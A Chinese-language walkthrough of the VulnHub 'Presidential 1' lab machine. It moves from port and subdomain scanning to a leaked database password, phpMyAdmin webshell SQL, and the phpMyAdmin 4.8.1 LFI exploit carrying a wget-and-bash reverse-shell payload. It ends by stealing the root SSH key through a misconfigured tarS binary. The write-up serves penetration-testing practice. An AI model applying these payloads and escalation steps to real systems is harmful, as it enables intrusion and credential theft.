靶机下载地址: https://www.vulnhub.com/entry/presidential-1,500/

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 PRESIDENTIAL:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址
sudo arp-sacn -l

Image

-> 靶机 ip:192.168.0.153

2 )确认靶机 ip 开放的端口信息
sudo nmap -p 192.168.0.153

Image

-> 靶机开放端口 21,2082

发现了一个比较奇怪的端口,用 nmap 扫描其详细信息,发现是 ssh 服务

Image

# 网站信息收集

打开 http://192.168.0.153 进行信息收集

Image

没有明显发现,对其目录结构进行扫描

Image

查看目录:http://192.168.0.153/config.php

Image

查看目录:http://192.168.0.153/config.php.bak

Image

-> 发现了数据库的账户名密码 votebox:casoj3FFASPsbyoRP

但是没有数据库的端口开通,发现没法利用,查看 80 端口的网站,看能否找到更多敏感的信息,发现了一个域名,我们就用这个域名做 DNS 解析指向其 ip 地址

Image

修改本地 hosts 文件,指定规则如下

Image

访问 http://votenow.local 成功显示出来该网站

Image

做一波目录扫描,发现和原 ip 的扫描内容一模一样

Image

# wfuzz 扫描子域名

既然是域名,何不进行一波子域名的收集,用 subDomainsBrute 爆破子域名

python subDomainsBrute.py votenow.local

Image

但是没有扫描到任何目录,需要注意的是我们去识别此域名的子域名,其解析的 ip 地址依然要指向靶机的 IP 地址

用 wfuzz 来枚举子域名
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

通过这种方法收集的子域名的解析地址都是目标靶机的 ip

Image

将扫描到的子域名加入到本地 hosts 文件中

Image

访问网站 http://datasafe.votenow.local , 输入之前泄漏的数据库账户密码

Image

-> 拿到 phpmyadmin 的权限

# phpmyadmin 后台写 shell

点击 SQL,尝试执行敏感的 sql 语句,写入 webshell

Image
1
2
3
# 显示目录
show variables like '%datadir%';
select @@basedir;
Image
1
2
# 数据库当前操作用户拥有写权限:
show global variables like '%secure_file_priv%';
Image
  • secure_file_priv 参数:
    NULL 不允许导入或导出;/tmp 只允许在 /tmp 目录导入导出;空 不限制目录
1
2
# 写入一句话后门:
select '<?php @eval($_POST['x']);?>' INTO OUTFILE '/var/lib/mysql/a.php'
Image

写入失败,可能被过滤掉了,找到密码,看能否修改密码进行破解

Image

用 john 破解密码破解失败(此密码应能破解,破解为 Stella)admin:Stella

Image

# phpmyadmin 漏洞提权

接下来可以看一下这个 phpmyadmin 的版本是多少,如果较低的话是可以直接利用现成的 payload 进行提权的

Image

通过 searchsploit 搜索 phpmyadmin4.8.1 找到了 RCE 漏洞的 payload

Image

将 paylaod 复制到一个目录下,查阅后开始利用
python 50457.py datasafe.votenow.local 80 / votebox casoj3FFASPsbyoRP whoami

Image

根据代码内容输入命令之后没有报错说明可以正常使用此 payload, 修改代码中的拿到权限后的执行的操作,让其反弹 shell

Image

但是依然没有反弹 shell 成功,需要进行手动复现

1
2
# 在SQL语句上写入执行反弹shell的代码
select '<?php system("wget 192.168.0.152/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
Image

写入恶意 payload 成功后,拿取到此页面保存的 cookie 的值

Image

同时需要在 kali 机器上准备好反弹 shell 的代码,等待靶机执行

Image

访问如下网址,最后的后缀是页面的 cookie 的值,成功拿到网站权限
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_q6brk6uh6kbpb5t9888v47b3epgcoltl

Image Image

-> 成功拿到了 apache 用户的网站权限

# 恶意 tar 命令提权

搜索一下有没有相关文件的权限设置错误
find / -group admin 2>/dev/null | grep -v 'proc\|home'

发现找到一个 admin 组下的一个命令 tarS

Image

查看 /etc/passwd 确认我们能提权的账户有哪些 cat /etc/passwd | grep bash
发现有 admin 和 root 两个账户都存在 bash
john 破解 phpmyadmin 后台时可得到 admin:Stella, su admin 尝试提权

Image

确认一下 admin 用户下是否有某些可执行文件的特权

1
2
3
4
# find
find / -group admin 2>/dev/null | grep -v 'proc\|home'
/usr/bin/tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar

用此有错误权限的 tarS 命令去压缩并解压 root 账户下的 ssh 私钥

Image

将私钥文件发送到自己的 kali 机器上,修改权限为 600 ,进行连接需要注意目标机器的 ssh 开放在了 2082 端口
ssh -p 2082 root@192.168.0.154 -i root/.ssh/id_rsa

Image

-> 成功拿到了 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝